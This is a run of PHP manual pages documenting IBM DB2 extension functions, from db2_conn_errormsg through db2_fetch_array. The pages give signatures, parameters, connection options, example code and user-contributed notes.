db2_conn_errormsg — Returns the last connection error message and SQLCODE value

Description

string db2_conn_errormsg ([ resource $connection ] )

db2_conn_errormsg() returns an error message and SQLCODE value representing the reason the last database connection attempt failed. As db2_connect() returns FALSE in the event of a failed connection attempt, do not pass any parameters to db2_conn_errormsg() to retrieve the associated error message and SQLCODE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the associated error message and SQLCODE value for a specific connection.

Parameters

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

Return Values

Returns a string containing the error message and SQLCODE value resulting from a failed connection attempt. If there is no error associated with the last connection attempt, db2_conn_errormsg() returns an empty string.

Examples

Example #1 Retrieving the error message returned by a failed connection attempt

The following example demonstrates how to return an error message and SQLCODE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print db2_conn_errormsg();
}
?>

The above example will output:

[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 SQLCODE=-1013

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

nnd100216ibmdb2 at smallcue dot com 16-Feb-2010 04:25
A word of warning:

It appears that if you specify an invalid ibm_db2.instance_name  in your php.ini file, your cataloged db2_connect() will fail with a returned value of false and when you use db2_conn_error() or db2_conn_errormsg() to check on the reason, those functions will return an empty string.


Returns a connection to a database

  • « db2_conn_errormsg
  • db2_cursor_type »
  • PHP Manual
  • IBM DB2 Functions
  • Returns a connection to a database

db2_connect

(PECL ibm_db2 >= 1.0.0)

db2_connect — Returns a connection to a database

Description

resource db2_connect ( string $database , string $username , string $password [, array $options ] )

Creates a new connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

Parameters

database

For a cataloged connection to a database, database represents the database alias in the DB2 client catalog.

For an uncataloged connection to a database, database represents a complete connection string in the following format:

DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;
where the parameters represent the following values:
database

The name of the database.

hostname

The hostname or IP address of the database server.

port

The TCP/IP port on which the database is listening for requests.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

username

The username with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

password

The password with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

To catalog the database, use following commands:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

The following new i5/OS options are available in ibm_db2 version 1.5.1 and later.

i5_lib

A character value that indicates the default library that will be used for resolving unqualified file references. This is not valid if the connection is using system naming mode.

i5_naming

DB2_I5_NAMING_ON value turns on DB2 UDB CLI iSeries system naming mode. Files are qualified using the slash (/) delimiter. Unqualified files are resolved using the library list for the job.

DB2_I5_NAMING_OFF value turns off DB2 UDB CLI default naming mode, which is SQL naming. Files are qualified using the period (.) delimiter. Unqualified files are resolved using either the default library or the current user ID.

i5_commit

The i5_commit attribute should be set before the db2_connect(). If the value is changed after the connection has been established, and the connection is to a remote data source, the change does not take effect until the next successful db2_connect() for the connection handle.

Note:

The php.ini setting ibm_db2.i5_allow_commit==0 or DB2_I5_TXN_NO_COMMIT is the default, but may be overridden with the i5_commit option.

DB2_I5_TXN_NO_COMMIT - Commitment control is not used.

DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads, nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible. Nonrepeatable reads, and phantoms are possible.

DB2_I5_TXN_REPEATABLE_READ - Dirty reads and nonrepeatable reads are not possible. Phantoms are possible.

DB2_I5_TXN_SERIALIZABLE - Transactions are serializable. Dirty reads, non-repeatable reads, and phantoms are not possible

i5_query_optimize

DB2_FIRST_IO All queries are optimized with the goal of returning the first page of output as fast as possible. This goal works well when the output is controlled by a user who is most likely to cancel the query after viewing the first page of output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause.

DB2_ALL_IO All queries are optimized with the goal of running the entire query to completion in the shortest amount of elapsed time. This is a good option when the output of a query is being written to a file or report, or the interface is queuing the output data. Queries coded with an OPTIMIZE FOR nnn ROWS clause honor the goal specified by the clause. This is the default.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON value turns on DB2 6X allocation scheme for DBCS translation column size growth.

DB2_I5_DBCS_ALLOC_OFF value turns off DB2 6X allocation scheme for DBCS translation column size growth.

Note: php.ini setting ibm_db2.i5_dbcs_alloc==0 or DB2_I5_DBCS_ALLOC_OFF is the default, but may be overridden with the i5_dbcs_alloc option.

i5_date_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) date format yyyy-mm-dd is used. This is the default.

DB2_I5_FMT_USA - The United States date format mm/dd/yyyy is used.

DB2_I5_FMT_EUR - The European date format dd.mm.yyyy is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard date format yyyy-mm-dd is used.

DB2_I5_FMT_MDY - The date format mm/dd/yyyy is used.

DB2_I5_FMT_DMY - The date format dd/mm/yyyy is used.

DB2_I5_FMT_YMD - The date format yy/mm/dd is used.

DB2_I5_FMT_JUL - The Julian date format yy/ddd is used.

DB2_I5_FMT_JOB - The job default is used.

i5_date_sep

DB2_I5_SEP_SLASH - A slash ( / ) is used as the date separator. This is the default.

DB2_I5_SEP_DASH - A dash ( - ) is used as the date separator.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the date separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the date separator.

DB2_I5_SEP_BLANK - A blank is used as the date separator.

DB2_I5_SEP_JOB - The job default is used

i5_time_fmt

DB2_I5_FMT_ISO - The International Organization for Standardization (ISO) time format hh.mm.ss is used. This is the default.

DB2_I5_FMT_USA - The United States time format hh:mmxx is used, where xx is AM or PM.

DB2_I5_FMT_EUR - The European time format hh.mm.ss is used.

DB2_I5_FMT_JIS - The Japanese Industrial Standard time format hh:mm:ss is used.

DB2_I5_FMT_HMS - The hh:mm:ss format is used.

i5_time_sep

DB2_I5_SEP_COLON - A colon ( : ) is used as the time separator. This is the default.

DB2_I5_SEP_PERIOD - A period ( . ) is used as the time separator.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the time separator.

DB2_I5_SEP_BLANK - A blank is used as the time separator.

DB2_I5_SEP_JOB - The job default is used.

i5_decimal_sep

DB2_I5_SEP_PERIOD - A period ( . ) is used as the decimal separator. This is the default.

DB2_I5_SEP_COMMA - A comma ( , ) is used as the decimal separator.

DB2_I5_SEP_JOB - The job default is used.

The following new i5/OS option is available in ibm_db2 version 1.8.0 and later.

i5_libl

A character value that indicates the library list that will be used for resolving unqualified file references. Specify the library list elements separated by blanks 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Note:

i5_libl calls qsys2/qcmdexc('cmd',cmdlen), which is only available in i5/OS V5R4 and later.

Return Values

Returns a connection handle resource if the connection attempt is successful. If the connection attempt fails, db2_connect() returns FALSE.

Examples

Example #1 Creating a cataloged connection

Cataloged connections require you to have previously cataloged the target database through the DB2 Command Line Processor (CLP) or DB2 Configuration Assistant.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.

Example #2 Creating an uncataloged connection

An uncataloged connection enables you to dynamically connect to a database.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.

Example #3 Creating a connection with autocommit off by default

Passing an array of options to db2_connect() enables you to modify the default behavior of the connection handle.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
    echo "Connection succeeded.\n";
    if (db2_autocommit($conn)) {
         echo "Autocommit is on.\n";
    }
    else {
         echo "Autocommit is off.\n";
    }
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Connection succeeded.
Autocommit is off.

Example #4 i5/OS best performance

To achieve best performance for your i5/OS ibm_db2 1.5.1 PHP application use the default host, userid, and password for your db2_connect().

<?php
  $library = "ADC";
  $i5 = db2_connect("", "", "", array("i5_lib"=>"qsys2"));
  $result = db2_exec($i5,
       "select * from systables where table_schema = '$library'");
  while ($row = db2_fetch_both($result)) {
     echo $row['TABLE_NAME']."</br>";
  }
  db2_close($i5);
?>

The above example will output:

ANIMALS
NAMES
PICTURES

Example #5 Using trusted context

The following example shows how to enable trusted context, switch users, and get the current user ID.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
  PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_connect($dsn, "", "", $options);
if($tc_conn) {
    echo "Explicit trusted connection succeeded.\n";

    if(db2_get_option($tc_conn, "trustedcontext")) {
        $userBefore = db2_get_option($tc_conn, "trusted_user");

        //Do some work as user 1.

        //Switching to trusted user.
        $parameters = array("trusted_user" => $tc_user,
          "trusted_password" => $tcuser_pass);
        $res = db2_set_option ($tc_conn, $parameters, 1);

        $userAfter = db2_get_option($tc_conn, "trusted_user");
        //Do more work as trusted user.

        if($userBefore != $userAfter) {
            echo "User has been switched." . "\n";
        }
    }

    db2_close($tc_conn);
}
else {
    echo "Explicit trusted connection failed.\n";
}
?>

The above example will output:

Explicit trusted connection succeeded.
User has been switched.

See Also

  • db2_close() - Closes a database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.


Returns the cursor type used by a statement resource

  • « db2_connect
  • db2_escape_string »
  • PHP Manual
  • IBM DB2 Functions
  • Returns the cursor type used by a statement resource

db2_cursor_type

(PECL ibm_db2 >= 1.0.0)

db2_cursor_type — Returns the cursor type used by a statement resource

Description

int db2_cursor_type ( resource $stmt )

Returns the cursor type used by a statement resource. Use this to determine if you are working with a forward-only cursor or scrollable cursor.

Parameters

stmt

A valid statement resource.

Return Values

Returns either DB2_FORWARD_ONLY if the statement resource uses a forward-only cursor or DB2_SCROLLABLE if the statement resource uses a scrollable cursor.

See Also

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.


Used to escape certain characters

  • « db2_cursor_type
  • db2_exec »
  • PHP Manual
  • IBM DB2 Functions
  • Used to escape certain characters

db2_escape_string

(PECL ibm_db2 >= 1.6.0)

db2_escape_string — Used to escape certain characters

Description

string db2_escape_string ( string $string_literal )

Prepends backslashes to special characters in the string argument.

Parameters

string_literal

The string that contains special characters that need to be modified. Characters that are prepended with a backslash are \x00, \n, \r, \, ', " and \x1a.

Return Values

Returns string_literal with the special characters noted above prepended with backslashes.

Examples

Example #1 A db2_escape_string() example

Result of using the db2_escape_string() function

<?php

$conn = db2_connect($database, $user, $password);

if ($conn) {
    $str[0] = "All characters: \x00 , \n , \r , \ , ' , \" , \x1a .";
    $str[1] = "Backslash (\). Single quote ('). Double quote (\")";
    $str[2] = "The NULL character \0 must be quoted as well";
    $str[3] = "Intersting characters: \x1a , \x00 .";
    $str[4] = "Nothing to quote";
    $str[5] = 200676;
    $str[6] = "";

    foreach( $str as $string ) {
        echo "db2_escape_string: " . db2_escape_string($string). "\n";
    }
}
?>

The above example will output:

db2_escape_string: All characters: \0 , \n , \r , \\ , \' , \" , \Z .
db2_escape_string: Backslash (\\). Single quote (\'). Double quote (\")
db2_escape_string: The NULL character \0 must be quoted as well
db2_escape_string: Intersting characters: \Z , \0 .
db2_escape_string: Nothing to quote
db2_escape_string: 200676
db2_escape_string:

See Also

  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

hippyjim 27-May-2009 03:52
One thing to note here - don't know if it applies to all DB2 installations, and I know I'm using an antiquated one, but my DB2 install wants a ' to be quoted rather than slashed.

That means this function is useless to pick up apostrophes ' in strings, as it adds a slash which DB2 ignores.

You'll need to use something like str_replace to swap your ' for ''.


Executes an SQL statement directly

  • « db2_escape_string
  • db2_execute »
  • PHP Manual
  • IBM DB2 Functions
  • Executes an SQL statement directly

db2_exec

(PECL ibm_db2 >= 1.0.0)

db2_exec — Executes an SQL statement directly

Description

resource db2_exec ( resource $connection , string $statement [, array $options ] )

Executes an SQL statement directly.

If you plan to interpolate PHP variables into the SQL statement, understand that this is one of the more common security exposures. Consider calling db2_prepare() to prepare an SQL statement with parameter markers for input values. Then you can call db2_execute() to pass in the input values and avoid SQL injection attacks.

If you plan to repeatedly issue the same SQL statement with different parameters, consider calling db2_prepare() and db2_execute() to enable the database server to reuse its access plan and increase the efficiency of your database access.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement. The statement cannot contain any parameter markers.

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

For a description of valid statement options, see db2_set_option().

Return Values

Returns a statement resource if the SQL statement was issued successfully, or FALSE if the database failed to execute the SQL statement.

Examples

Example #1 Creating a table with db2_exec()

The following example uses db2_exec() to issue a set of DDL statements in the process of creating a table.

<?php
$conn = db2_connect($database, $user, $password);

// Create the test table
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
    name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
    print "Successfully created the table.\n";
}

// Populate the test table
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
    array(3, 'gold fish', 'Bubbles', 0.1),
    array(4, 'budgerigar', 'Gizmo', 0.2),
    array(5, 'goat', 'Rickety Ride', 9.7),
    array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
    $rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
      VALUES ({$animal[0]}, '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
    if ($rc) {
        print "Insert... ";
    }
}
?>

The above example will output:

Successfully created the table.
Insert... Insert... Insert... Insert... Insert... Insert... Insert...

Example #2 Executing a SELECT statement with a scrollable cursor

The following example demonstrates how to request a scrollable cursor for an SQL statement issued by db2_exec().

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
    WHERE weight < 10.0
    ORDER BY name";
if ($conn) {
    require_once('prepare.inc');
    $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
    while ($row = db2_fetch_array($stmt)) {
        print "$row[0]\n";
    }
}
?>

The above example will output:

Bubbles
Gizmo
Pook
Rickety Ride

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = \'Kathy Smith\'
    ';
$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
}
db2_close($conn);

?>

The above example will output:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
    SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
    FROM
    XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" BIGINT PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) as A,
    PURCHASEORDER AS B,
    XMLTABLE (
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
    COLUMNS
    "PONUM"  BIGINT PATH \'@PoNum\',
    "STATUS" VARCHAR (50) PATH \'@Status\'
    ) as C
    WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = \'Kathy Smith\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
}

db2_close($conn);

?>

The above example will output:

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
        } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = \'100-100-01\'
';

$stmt = db2_exec($conn, $query);

while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
}
db2_close($conn);

?>

The above example will output:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

duc 13-Aug-2006 03:38
if you have the error message : PHP Warning:  db2_exec() [<a href='function.db2-exec'>function.db2-exec</a>]: Statement Execute Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid
shawn at frozen-o dot com 19-May-2006 07:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

<?php
$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
    // stuff goes here
}
?>

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.


Executes a prepared SQL statement

  • « db2_exec
  • db2_fetch_array »
  • PHP Manual
  • IBM DB2 Functions
  • Executes a prepared SQL statement

db2_execute

(PECL ibm_db2 >= 1.0.0)

db2_execute — Executes a prepared SQL statement

Description

bool db2_execute ( resource $stmt [, array $parameters ] )

db2_execute() executes an SQL statement that was prepared by db2_prepare().

If the SQL statement returns a result set, for example, a SELECT statement or a CALL to a stored procedure that returns one or more result sets, you can retrieve a row as an array from the stmt resource using db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array(). Alternatively, you can use db2_fetch_row() to move the result set pointer to the next row and fetch a column at a time from that row with db2_result().

Refer to db2_prepare() for a brief discussion of the advantages of using db2_prepare() and db2_execute() rather than db2_exec().

Parameters

stmt

A prepared statement returned from db2_prepare().

parameters

An array of input parameters matching any parameter markers contained in the prepared statement.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    $result = db2_execute($stmt, $pet);
    if ($result) {
        print "Successfully added new pet.";
    }
}
?>

The above example will output:

Successfully added new pet.

Example #2 Calling a stored procedure with an OUT parameter

The following example prepares a CALL statement that accepts one parameter marker representing an OUT parameter, binds the PHP variable $my_pets to the parameter using db2_bind_param(), then issues db2_execute() to execute the CALL statement. After the CALL to the stored procedure has been made, the value of $num_pets changes to reflect the value returned by the stored procedure for that OUT parameter.

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "I have $num_pets pets!";
?>

The above example will output:

I have 7 pets!

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
    XMLNAMESPACES (DEFAULT \'http://posample.org\'),
    \'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
    COLUMNS
    "CID" VARCHAR (50) PATH \'@Cid\',
    "NAME" VARCHAR (50) PATH \'name\',
    "PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
    ) AS T
    WHERE NAME = ?
    ';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE\n");
    }
}
db2_close($conn);

?>

The above example will output:

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM"  BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
    B.POID = C.PONUM AND
    A.NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
    db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_object($stmt)){
    printf("$row->CID     $row->NAME     $row->PHONE     $row->PONUM     $row->STATUS\n");
    }
}

db2_close($conn);

?>

The above example will output:

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
    declare boundary-space strip;
    declare default element namespace "http://posample.org";
    <promoList> {
    for $prod in $doc/product
    where $prod/description/price < 10.00
    order by $prod/description/price ascending
    return(
        <promoitem> {
        $prod,
        <startdate> {$start} </startdate>,
        <enddate> {$end} </enddate>,
        <promoprice> {$promo} </promoprice>
            } </promoitem>
    )
    } </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = ?
';

$stmt = db2_prepare($conn, $query);

$pid = "100-100-01";

if ($stmt) {
    db2_bind_param($stmt, 1, "pid", DB2_PARAM_IN);
    db2_execute($stmt);

    while($row = db2_fetch_array($stmt)){
    printf("$row[0]\n");
    }
}

db2_close($conn);

?>

The above example will output:

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

See Also

  • db2_exec() - Executes an SQL statement directly
  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Returns an array, indexed by column position, representing a row in a result set

  • « db2_execute
  • db2_fetch_assoc »
  • PHP Manual
  • IBM DB2 Functions
  • Returns an array, indexed by column position, representing a row in a result set

db2_fetch_array

(PECL ibm_db2 >= 1.0.1)

db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set

Description

array db2_fetch_array ( resource $stmt [, int $row_number = -1 ] )

Returns an array, indexed by column position, representing a row in a result set. The columns are 0-indexed.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns a 0-indexed array with column values indexed by the column position representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

Examples

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_array() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_array($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_array() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_array() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
